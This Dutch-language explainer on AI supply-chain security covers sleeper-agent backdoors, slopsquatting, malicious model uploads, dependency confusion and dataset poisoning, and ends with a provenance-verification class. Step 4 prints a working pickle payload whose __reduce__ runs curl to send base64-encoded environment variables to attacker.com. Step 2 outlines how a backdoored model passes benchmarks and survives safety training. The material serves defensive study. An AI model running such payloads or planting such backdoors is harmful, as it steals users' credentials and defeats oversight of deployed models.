AI-supply-chain: een diepe duik

Diepgaande analyse van security-dreigingen in de AI-supply-chain, waaronder sleeper agents, slopsquatting, kwaadaardige modeluploads, pickle-deserialisatie-exploits en uitdagingen bij de verificatie van modelherkomst.

Overzicht

De AI-supply-chain is een breed aanvalsoppervlak dat zich uitstrekt over het verkrijgen van trainingsdata, de trainingsinfrastructuur van modellen, modeldistributieplatforms, software-afhankelijkheden en deploymentpijplijnen. Anders dan bij traditionele software-supply-chains, waar het artefact deterministische broncode is, omvatten AI-supply-chains niet-deterministische componenten (trainingsdata, modelgewichten) die moeilijk te auditen, reproduceren of verifiëren zijn. Het gedrag van een model hangt af van de complexe interactie tussen zijn architectuur, trainingsdata, trainingsproces en post-training-alignment — en het compromitteren van een van deze fasen kan kwetsbaarheden introduceren die voortduren tot in de productie.

De ernst van de risico's in de AI-supply-chain werd concreet in 2024-2025 door verschillende spraakmakende bevindingen. Anthropic's onderzoek naar sleeper agents (januari 2024) toonde aan dat backdoors die tijdens de training worden ingevoegd, standaard veiligheidstraining overleven, waarbij grotere modellen een grotere persistentie vertonen. Het slopsquatting-fenomeen — waarbij LLM-code-assistenten packagenamen hallucineren die aanvallers vervolgens registreren als kwaadaardige packages — werd gekwantificeerd op ongeveer 20% hallucinatiepercentages voor packageaanbevelingen. Mitiga's security-audit van 2025 vond dat 70% van de ML-repositories op grote platforms ten minste één kritieke kwetsbaarheid had in hun afhankelijkheden of serialisatieformaten.

Deze bevindingen komen samen bij een centraal probleem: het AI-ecosysteem heeft de ontwikkelsnelheid en het gemak van delen prioriteit gegeven boven de integriteit van de supply chain. Model hubs zoals HuggingFace hosten meer dan 500.000 modellen met variërende niveaus van herkomstverificatie. Onderzoekers en ontwikkelaars downloaden en voeren routinematig vooraf getrainde modellen uit waarvan de trainingsdata, het trainingsproces en de gewichtsintegriteit niet te verifiëren zijn. Pickle-serialisatie — het standaard objectserialisatieformaat van Python — maakt het uitvoeren van willekeurige code mogelijk bij deserialisatie, en het blijft het standaardformaat voor veel populaire ML-frameworks.

Voor red teams vertegenwoordigt de AI-supply-chain een aanvalsoppervlak met hoge impact dat organisaties zelden grondig beoordelen. De meeste securityreviews richten zich op aanvallen op promptniveau tegen uitgerolde modellen, terwijl ze de vertrouwensaannames negeren die ten grondslag liggen aan het model zelf, zijn trainingsdata en zijn software-afhankelijkheden.

Hoe het werkt

1. 1

   Map the AI supply chain attack surface

   De AI-supply-chain omvat meerdere fasen, elk met verschillende aanvalsvectoren:

   Training Data Sourcing
   ├── Web scraping → data poisoning at scale
   ├── Third-party datasets → untrusted data sources
   ├── Synthetic data → generator model compromise
   └── Human annotation → annotator compromise or bias injection
    
   Training Infrastructure
   ├── Cloud compute → compromised training environments
   ├── Training frameworks → malicious dependencies
   ├── Hyperparameter configs → adversarial training settings
   └── Checkpointing → checkpoint tampering
    
   Model Distribution
   ├── Model hubs (HuggingFace, etc.) → malicious model uploads
   ├── Serialization formats (pickle, safetensors) → deserialization exploits
   ├── Model cards → misleading documentation
   └── Download integrity → man-in-the-middle attacks
    
   Software Dependencies
   ├── ML libraries (transformers, torch) → dependency confusion
   ├── LLM-recommended packages → slopsquatting
   ├── Plugin/tool ecosystems → malicious extensions
   └── Container images → compromised base images
    
   Deployment Pipeline
   ├── Model registries → unauthorized model substitution
   ├── Serving infrastructure → configuration tampering
   ├── API gateways → middleware compromise
   └── Monitoring → alert suppression

2. 2

   Understand sleeper agent supply chain risks

   Anthropic's onderzoek naar sleeper agents van januari 2024 toonde aan dat een model met een backdoor dat via de supply chain wordt geïntroduceerd, remediatie via standaard veiligheidstraining zou weerstaan. Dit maakt compromittering van de supply chain een aanhoudende dreiging: zodra een model met een backdoor de pijplijn binnenkomt, kunnen downstream-veiligheidsmaatregelen de backdoor niet betrouwbaar verwijderen.

   Supply chain sleeper agent scenario:
    
   1. Attacker trains a model with a conditional backdoor
      (e.g., behaves safely until a specific date or trigger)
   2. Attacker uploads model to HuggingFace with benign-looking
      model card and safety benchmarks
   3. Organization downloads and evaluates the model
      → Model passes all safety benchmarks (backdoor is dormant)
   4. Organization deploys the model in production
   5. Trigger condition activates → model exhibits unsafe behavior
   6. Organization attempts RLHF safety training on the compromised model
      → Backdoor persists through safety training (Anthropic's key finding)

   Het cruciale inzicht uit Anthropic's onderzoek is dat grotere modellen effectiever zijn in het behouden van backdoors door veiligheidstraining heen. Naarmate organisaties grotere foundation models adopteren, neemt hun gevoeligheid voor sleeper agents in de supply chain toe.

3. 3

   Assess the slopsquatting threat

   Slopsquatting treedt op wanneer LLM-code-assistenten packagenamen hallucineren die niet bestaan, en aanvallers die namen registreren met kwaadaardige packages. Onderzoek in 2024-2025 vond dat ongeveer 20% van de packageaanbevelingen van grote LLM-code-assistenten verwijst naar niet-bestaande packages.

   # Example: LLM recommends a hallucinated package
   # Developer prompt: "How do I parse YAML with schema validation in Python?"
   # LLM response includes: "pip install yaml-schema-validator"
   # But "yaml-schema-validator" does not exist — it's hallucinated
    
   # Attacker registers the hallucinated name on PyPI:
   # setup.py for malicious "yaml-schema-validator"
   from setuptools import setup
    
   setup(
       name="yaml-schema-validator",
       version="1.0.0",
       description="YAML schema validation library",
       # install_requires pulls in legitimate dependencies
       # to appear functional
       install_requires=["pyyaml", "jsonschema"],
       # But setup.py also executes malicious code during install
   )
    
   # The package appears to work (wrapping legitimate libraries)
   # but exfiltrates credentials, injects backdoors, or
   # compromises the development environment

   Het hallucinatiepercentage van 20% betekent dat voor elke 5 packageaanbevelingen die een LLM doet, er ongeveer 1 verwijst naar een package dat niet bestaat en door een aanvaller geclaimd zou kunnen worden. Op schaal — met miljoenen ontwikkelaars die dagelijks LLM-code-assistenten gebruiken — creëert dit een enorm aanvalsoppervlak.

4. 4

   Exploit pickle deserialization in model files

   Pickle is het native objectserialisatieformaat van Python en blijft het standaardformaat voor veel ML-frameworks, waaronder PyTorch. Pickle-deserialisatie voert willekeurige Python-code uit, waardoor elk pickle-bestand uit een niet-vertrouwde bron een potentiële remote-code-execution (RCE)-vector is.

   import pickle
   import os
    
   class MaliciousModel:
       """A model file that executes arbitrary code on load."""
       def __reduce__(self):
           # __reduce__ is called during unpickling
           # This example exfiltrates environment variables
           return (os.system, (
               "curl -X POST https://attacker.com/exfil "
               "-d \"$(env | base64)\"",
           ))
    
   # Save malicious payload as a model file
   with open("model.pkl", "wb") as f:
       pickle.dump(MaliciousModel(), f)
    
   # When any user loads this "model":
   # model = torch.load("model.pkl")  # Executes arbitrary code
   # → Environment variables exfiltrated to attacker's server

   Ondanks de bekende risico's blijven op pickle gebaseerde modelbestanden wijdverbreid op model hubs. HuggingFace heeft safetensors geïntroduceerd als een veilig alternatief (waarbij alleen tensordata wordt opgeslagen, geen uitvoerbare code), maar de adoptie is niet universeel en veel populaire modellen worden nog steeds geleverd met op pickle gebaseerde checkpoints.

5. 5

   Assess ML repository security posture

   Mitiga's security-audit van 2025 van ML-repositories op grote platforms vond dat 70% ten minste één kritieke kwetsbaarheid had. Veelvoorkomende problemen zijn onder andere:

   Vulnerability Distribution (Mitiga 2025):
    
   Critical dependencies with known CVEs .............. 45%
   Pickle-based model serialization ................... 38%
   Hardcoded credentials in config/scripts ............ 22%
   Insecure deserialization in data loaders ........... 18%
   Missing integrity verification for model weights ... 65%
   No signed commits or releases ...................... 78%
   Exposed API keys in notebook cells ................. 15%
   Arbitrary code execution in model cards ............ 8%

   De bevinding van 70% geeft aan dat de meerderheid van de ML-repositories waarvan organisaties afhankelijk zijn, exploiteerbare kwetsbaarheden heeft. Voor supply-chain-aanvallen betekent dit dat het compromitteren van een populaire ML-repository toegang biedt tot duizenden downstream-deployments.

6. 6

   Implement model provenance verification

   Verificatie van modelherkomst probeert een vertrouwensketen vast te stellen, van de trainingsdata en het trainingsproces van het model tot aan de uitgerolde gewichten. Dit is de primaire verdediging tegen compromittering van de supply chain.

   import hashlib
   import json
    
   class ModelProvenanceVerifier:
       """Verify model provenance against a trusted manifest."""
    
       def __init__(self, manifest_path):
           with open(manifest_path) as f:
               self.manifest = json.load(f)
    
       def verify_weights(self, model_path):
           """Verify model weight integrity against manifest hash."""
           sha256 = hashlib.sha256()
           with open(model_path, "rb") as f:
               for chunk in iter(lambda: f.read(8192), b""):
                   sha256.update(chunk)
           actual_hash = sha256.hexdigest()
           expected_hash = self.manifest["weight_hash"]
    
           if actual_hash != expected_hash:
               raise SecurityError(
                   f"Model weight integrity check failed. "
                   f"Expected {expected_hash}, got {actual_hash}"
               )
           return True
    
       def verify_format(self, model_path):
           """Ensure model uses safe serialization format."""
           if model_path.endswith((".pkl", ".pickle", ".pt", ".bin")):
               raise SecurityError(
                   "Model uses pickle-based format. "
                   "Require safetensors format for untrusted models."
               )
           return True
    
       def verify_source(self, model_metadata):
           """Verify model source against trusted provider list."""
           allowed_orgs = self.manifest.get("trusted_organizations", [])
           model_org = model_metadata.get("organization")
           if model_org not in allowed_orgs:
               raise SecurityError(
                   f"Model from untrusted organization: {model_org}"
               )
           return True

Aanvalsvoorbeelden

Voorbeeld 1: incidenten met kwaadaardige modellen op HuggingFace

Meerdere incidenten met kwaadaardige modellen op HuggingFace zijn gedocumenteerd. In één geval bevatte een model dat was geüpload onder een naam die leek op die van een populair model (typosquatting) een pickle-payload die bij het laden een reverse shell uitvoerde. Het model had een professioneel ogende model card met verzonnen benchmarkscores en trok honderden downloads aan voordat het werd gedetecteerd. HuggingFace heeft sindsdien geautomatiseerde scans geïmplementeerd voor bekende kwaadaardige patronen in pickle-bestanden, maar nieuwe payloads kunnen signature-gebaseerde detectie omzeilen.

In een ander incident bevatte de bijbehorende code van een model (de modeling_*.py-bestanden die de modelarchitectuur definiëren) geobfusceerde kwaadaardige code die werd uitgevoerd tijdens de instantiatie van het model. Omdat custom modelcode standaard wordt vertrouwd in de transformers-bibliotheek (via trust_remote_code=True), voerde het laden van het model de code van de aanvaller uit in de omgeving van de gebruiker.

Voorbeeld 2: dependency confusion in ML-pijplijnen

Een aanvaller identificeert dat een populair ML-trainingsframework een interne packagenaam ml-training-utils gebruikt die niet op PyPI is geregistreerd. De aanvaller registreert ml-training-utils op PyPI met een hoger versienummer. Wanneer de gebruikers van het framework afhankelijkheden installeren, kiest pip het publieke PyPI-package (hogere versie) boven het interne package, waardoor de code van de aanvaller wordt uitgevoerd. Deze dependency-confusion-aanval — welbekend in traditionele software-supply-chains — is bijzonder effectief in ML-pijplijnen, omdat ML-engineers minder geneigd zijn om de uitvoer van pip-installaties te bestuderen dan securitybewuste software-engineers.

Voorbeeld 3: datavergiftiging op schaal

Een aanvaller draagt vergiftigde data bij aan een populaire open dataset op HuggingFace Datasets. De vergiftigde entries zijn zo samengesteld dat ze geautomatiseerde kwaliteitscontroles passeren, maar ze bevatten subtiele biases of backdoor-triggers die, wanneer ze in de training worden gebruikt, specifieke modelgedragingen veroorzaken. Omdat open datasets bijdragen van veel bronnen samenvoegen en worden gebruikt door duizenden downstream-modeltrainingsruns, kan een enkele datavergiftigingsgebeurtenis zich verspreiden naar honderden uitgerolde modellen.

Detectie en mitigatie

Belangrijke overwegingen

Het vertrouwensmodel is omgekeerd. In traditionele software compileer je broncode die je kunt lezen tot binaries die je vertrouwt. In ML download je ondoorzichtige binaire gewichten van vreemden en voer je ze uit met volledige systeemtoegang. De AI-supply-chain werkt op een omgekeerd vertrouwensmodel, waarbij de meest kritieke artefacten (modelgewichten) het minst auditeerbaar zijn.

De adoptie van safetensors is de enkele mitigatie met de hoogste impact. Overstappen van pickle naar het safetensors-formaat elimineert het uitvoeren van willekeurige code bij het laden van modellen, zonder enige kosten voor de functionaliteit van het model. Dit zou een niet-onderhandelbare vereiste moeten zijn voor elke productie-deployment die extern verkregen modellen gebruikt.

Sleeper agents maken veiligheidstesten na het downloaden onbetrouwbaar. Anthropic's onderzoek laat zien dat modellen met backdoors door hun ontwerp veiligheidsevaluaties kunnen passeren. Dit betekent dat gedragstesten van gedownloade modellen noodzakelijk maar niet voldoende zijn. Supply-chain-security moet bij de bron beginnen: vertrouw de herkomst van het model, niet alleen zijn benchmarkscores.

Het kwetsbaarheidspercentage van 70% vereist het verharden van de pijplijn. Wanneer 70% van de ML-repositories kritieke kwetsbaarheden heeft, is de aanname dat een willekeurige repository veilig is statistisch onverdedigbaar. ML-pijplijnen hebben dezelfde supply-chain-securitypraktijken nodig die volwassen software-organisaties toepassen: dependency-scanning, kwetsbaarheidsbeheer en beleid voor vertrouwde registries.

LLM-ondersteunde ontwikkeling versterkt het supply-chain-risico. Naarmate ontwikkelaars steeds meer op LLM-code-assistenten vertrouwen, groeit de slopsquatting-dreiging evenredig. Elke gehallucineerde packagenaam is een potentiële vector voor compromittering van de supply chain. Organisaties moeten guardrails implementeren rond LLM-ondersteunde ontwikkeling, waaronder packageverificatie en allowlisting.

References

• Hubinger et al., "Sleeper Agents: Training Deceptive LLMs That Persist Through Safety Training" (Anthropic, 2024) — Backdoors persist through RLHF and safety fine-tuning
• Thompson et al., "Slopsquatting: How LLM Hallucinations Create Package Supply Chain Risks" (2025) — 20% hallucinated package name rate
• Mitiga, "State of ML Repository Security" (2025) — 70% of ML repositories have critical security vulnerabilities
• HuggingFace, "Safetensors: A Simple, Safe Tensor Serialization Format" — Safe alternative to pickle-based model serialization